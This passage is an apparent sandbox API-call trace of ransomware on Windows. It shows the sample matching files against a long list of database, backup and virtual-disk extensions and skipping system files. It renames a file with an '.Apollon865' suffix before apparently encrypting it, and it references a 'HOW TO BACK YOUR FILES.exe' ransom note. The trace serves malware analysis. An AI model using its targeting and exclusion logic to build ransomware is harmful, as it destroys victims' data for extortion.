	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0064.592] lstrlenW (lpString="mav") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0064.592] lstrlenW (lpString="maw") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0064.592] lstrlenW (lpString="mdbhtml") returned 7
	[0064.592] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0064.592] lstrlenW (lpString="mdn") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0064.592] lstrlenW (lpString="mdt") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0064.592] lstrlenW (lpString="mfd") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0064.592] lstrlenW (lpString="mpd") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0064.592] lstrlenW (lpString="mrg") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0064.592] lstrlenW (lpString="mud") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0064.592] lstrlenW (lpString="mwb") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0064.592] lstrlenW (lpString="myd") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0064.592] lstrlenW (lpString="ndf") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0064.592] lstrlenW (lpString="nnt") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0064.592] lstrlenW (lpString="nrmlib") returned 6
	[0064.592] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0064.592] lstrlenW (lpString="ns2") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0064.592] lstrlenW (lpString="ns3") returned 3
	[0064.592] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0064.592] lstrlenW (lpString="ns4") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0064.593] lstrlenW (lpString="nsf") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0064.593] lstrlenW (lpString="nv") returned 2
	[0064.593] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0064.593] lstrlenW (lpString="nv2") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0064.593] lstrlenW (lpString="nwdb") returned 4
	[0064.593] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0064.593] lstrlenW (lpString="nyf") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0064.593] lstrlenW (lpString="odb") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0064.593] lstrlenW (lpString="odb") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0064.593] lstrlenW (lpString="oqy") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0064.593] lstrlenW (lpString="ora") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0064.593] lstrlenW (lpString="orx") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0064.593] lstrlenW (lpString="owc") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0064.593] lstrlenW (lpString="p96") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0064.593] lstrlenW (lpString="p97") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0064.593] lstrlenW (lpString="pan") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0064.593] lstrlenW (lpString="pdb") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0064.593] lstrlenW (lpString="pdm") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0064.593] lstrlenW (lpString="pnz") returned 3
	[0064.593] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0064.593] lstrlenW (lpString="qry") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0064.594] lstrlenW (lpString="qvd") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0064.594] lstrlenW (lpString="rbf") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0064.594] lstrlenW (lpString="rctd") returned 4
	[0064.594] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0064.594] lstrlenW (lpString="rod") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0064.594] lstrlenW (lpString="rodx") returned 4
	[0064.594] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0064.594] lstrlenW (lpString="rpd") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0064.594] lstrlenW (lpString="rsd") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0064.594] lstrlenW (lpString="sas7bdat") returned 8
	[0064.594] lstrlenW (lpString="sbf") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0064.594] lstrlenW (lpString="scx") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0064.594] lstrlenW (lpString="sdb") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0064.594] lstrlenW (lpString="sdc") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0064.594] lstrlenW (lpString="sdf") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0064.594] lstrlenW (lpString="sis") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0064.594] lstrlenW (lpString="spq") returned 3
	[0064.594] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0064.594] lstrlenW (lpString="te") returned 2
	[0064.594] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0064.594] lstrlenW (lpString="teacher") returned 7
	[0064.594] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0064.594] lstrlenW (lpString="tmd") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0064.595] lstrlenW (lpString="tps") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0064.595] lstrlenW (lpString="trc") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0064.595] lstrlenW (lpString="trc") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0064.595] lstrlenW (lpString="trm") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0064.595] lstrlenW (lpString="udb") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0064.595] lstrlenW (lpString="udl") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0064.595] lstrlenW (lpString="usr") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0064.595] lstrlenW (lpString="v12") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0064.595] lstrlenW (lpString="vis") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0064.595] lstrlenW (lpString="vpd") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0064.595] lstrlenW (lpString="vvv") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0064.595] lstrlenW (lpString="wdb") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0064.595] lstrlenW (lpString="wmdb") returned 4
	[0064.595] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0064.595] lstrlenW (lpString="wrk") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0064.595] lstrlenW (lpString="xdb") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0064.595] lstrlenW (lpString="xld") returned 3
	[0064.595] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0064.595] lstrlenW (lpString="xmlff") returned 5
	[0064.595] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0064.595] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865") returned 134
	[0064.596] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0064.596] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.597] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=809765) returned 1
	[0064.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.597] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.598] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.598] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.598] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5e30, lpName=0x0) returned 0x150
	[0064.599] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5e30) returned 0x3480000
	[0064.638] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0064.639] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.639] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.640] UnmapViewOfFile (lpBaseAddress=0x3480000) returned 1
	[0064.648] CloseHandle (hObject=0x150) returned 1
	[0064.648] CloseHandle (hObject=0x154) returned 1
	[0064.648] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.648] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.648] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.651] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f449930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.651] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.651] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0064.651] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.651] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0064.651] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".") returned 1
	[0064.651] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="..") returned 1
	[0064.651] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="windows") returned -1
	[0064.651] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="bootmgr") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="temp") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="pagefile.sys") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="boot") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="ids.txt") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="ntuser.dat") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="perflogs") returned 1
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="MSBuild") returned 1
	[0064.652] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0064.652] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123
	[0064.652] lstrcpyW (in: lpString1=0x119e6ee, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0064.652] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0064.652] lstrlenW (lpString="Apollon865") returned 10
	[0064.652] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0064.652] lstrlenW (lpString=".dll") returned 4
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0064.652] lstrlenW (lpString=".lnk") returned 4
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0064.652] lstrlenW (lpString=".ini") returned 4
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0064.652] lstrlenW (lpString=".sys") returned 4
	[0064.652] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0064.652] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0064.652] lstrlenW (lpString="bak") returned 3
	[0064.652] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0064.652] lstrlenW (lpString="ba_") returned 3
	[0064.652] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0064.652] lstrlenW (lpString="dbb") returned 3
	[0064.652] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0064.652] lstrlenW (lpString="vmdk") returned 4
	[0064.652] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0064.652] lstrlenW (lpString="rar") returned 3
	[0064.652] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0064.652] lstrlenW (lpString="zip") returned 3
	[0064.652] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0064.652] lstrlenW (lpString="tgz") returned 3
	[0064.652] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0064.653] lstrlenW (lpString="vbox") returned 4
	[0064.653] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0064.653] lstrlenW (lpString="vdi") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0064.653] lstrlenW (lpString="vhd") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0064.653] lstrlenW (lpString="vhdx") returned 4
	[0064.653] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0064.653] lstrlenW (lpString="avhd") returned 4
	[0064.653] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0064.653] lstrlenW (lpString="db") returned 2
	[0064.653] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0064.653] lstrlenW (lpString="db2") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0064.653] lstrlenW (lpString="db3") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0064.653] lstrlenW (lpString="dbf") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0064.653] lstrlenW (lpString="mdf") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0064.653] lstrlenW (lpString="mdb") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0064.653] lstrlenW (lpString="sql") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0064.653] lstrlenW (lpString="sqlite") returned 6
	[0064.653] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0064.653] lstrlenW (lpString="sqlite3") returned 7
	[0064.653] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
	[0064.653] lstrlenW (lpString="sqlitedb") returned 8
	[0064.653] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0064.653] lstrlenW (lpString="xml") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0064.653] lstrlenW (lpString="$er") returned 3
	[0064.653] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0064.653] lstrlenW (lpString="4dd") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0064.654] lstrlenW (lpString="4dl") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0064.654] lstrlenW (lpString="^^^") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0064.654] lstrlenW (lpString="abs") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0064.654] lstrlenW (lpString="abx") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0064.654] lstrlenW (lpString="accdb") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0064.654] lstrlenW (lpString="accdc") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0064.654] lstrlenW (lpString="accde") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0064.654] lstrlenW (lpString="accdr") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0064.654] lstrlenW (lpString="accdt") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0064.654] lstrlenW (lpString="accdw") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0064.654] lstrlenW (lpString="accft") returned 5
	[0064.654] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0064.654] lstrlenW (lpString="adb") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0064.654] lstrlenW (lpString="adb") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0064.654] lstrlenW (lpString="ade") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0064.654] lstrlenW (lpString="adf") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0064.654] lstrlenW (lpString="adn") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0064.654] lstrlenW (lpString="adp") returned 3
	[0064.654] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0064.655] lstrlenW (lpString="alf") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0064.655] lstrlenW (lpString="ask") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0064.655] lstrlenW (lpString="btr") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0064.655] lstrlenW (lpString="cat") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0064.655] lstrlenW (lpString="cdb") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0064.655] lstrlenW (lpString="ckp") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0064.655] lstrlenW (lpString="cma") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0064.655] lstrlenW (lpString="cpd") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0064.655] lstrlenW (lpString="dacpac") returned 6
	[0064.655] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0064.655] lstrlenW (lpString="dad") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0064.655] lstrlenW (lpString="dadiagrams") returned 10
	[0064.655] lstrcmpiW (lpString1="um_x64.msi", lpString2="dadiagrams") returned 1
	[0064.655] lstrlenW (lpString="daschema") returned 8
	[0064.655] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0064.655] lstrlenW (lpString="db-journal") returned 10
	[0064.655] lstrcmpiW (lpString1="um_x64.msi", lpString2="db-journal") returned 1
	[0064.655] lstrlenW (lpString="db-shm") returned 6
	[0064.655] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0064.655] lstrlenW (lpString="db-wal") returned 6
	[0064.655] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0064.655] lstrlenW (lpString="dbc") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0064.655] lstrlenW (lpString="dbs") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0064.655] lstrlenW (lpString="dbt") returned 3
	[0064.655] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0064.655] lstrlenW (lpString="dbv") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0064.656] lstrlenW (lpString="dbx") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0064.656] lstrlenW (lpString="dcb") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0064.656] lstrlenW (lpString="dct") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0064.656] lstrlenW (lpString="dcx") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0064.656] lstrlenW (lpString="ddl") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0064.656] lstrlenW (lpString="dlis") returned 4
	[0064.656] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0064.656] lstrlenW (lpString="dp1") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0064.656] lstrlenW (lpString="dqy") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0064.656] lstrlenW (lpString="dsk") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0064.656] lstrlenW (lpString="dsn") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0064.656] lstrlenW (lpString="dtsx") returned 4
	[0064.656] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0064.656] lstrlenW (lpString="dxl") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0064.656] lstrlenW (lpString="eco") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0064.656] lstrlenW (lpString="ecx") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0064.656] lstrlenW (lpString="edb") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0064.656] lstrlenW (lpString="epim") returned 4
	[0064.656] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0064.656] lstrlenW (lpString="fcd") returned 3
	[0064.656] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0064.656] lstrlenW (lpString="fdb") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0064.657] lstrlenW (lpString="fic") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0064.657] lstrlenW (lpString="flexolibrary") returned 12
	[0064.657] lstrcmpiW (lpString1="imum_x64.msi", lpString2="flexolibrary") returned 1
	[0064.657] lstrlenW (lpString="fm5") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0064.657] lstrlenW (lpString="fmp") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0064.657] lstrlenW (lpString="fmp12") returned 5
	[0064.657] lstrcmpiW (lpString1="4.msi", lpString2="fmp12") returned -1
	[0064.657] lstrlenW (lpString="fmpsl") returned 5
	[0064.657] lstrcmpiW (lpString1="4.msi", lpString2="fmpsl") returned -1
	[0064.657] lstrlenW (lpString="fol") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
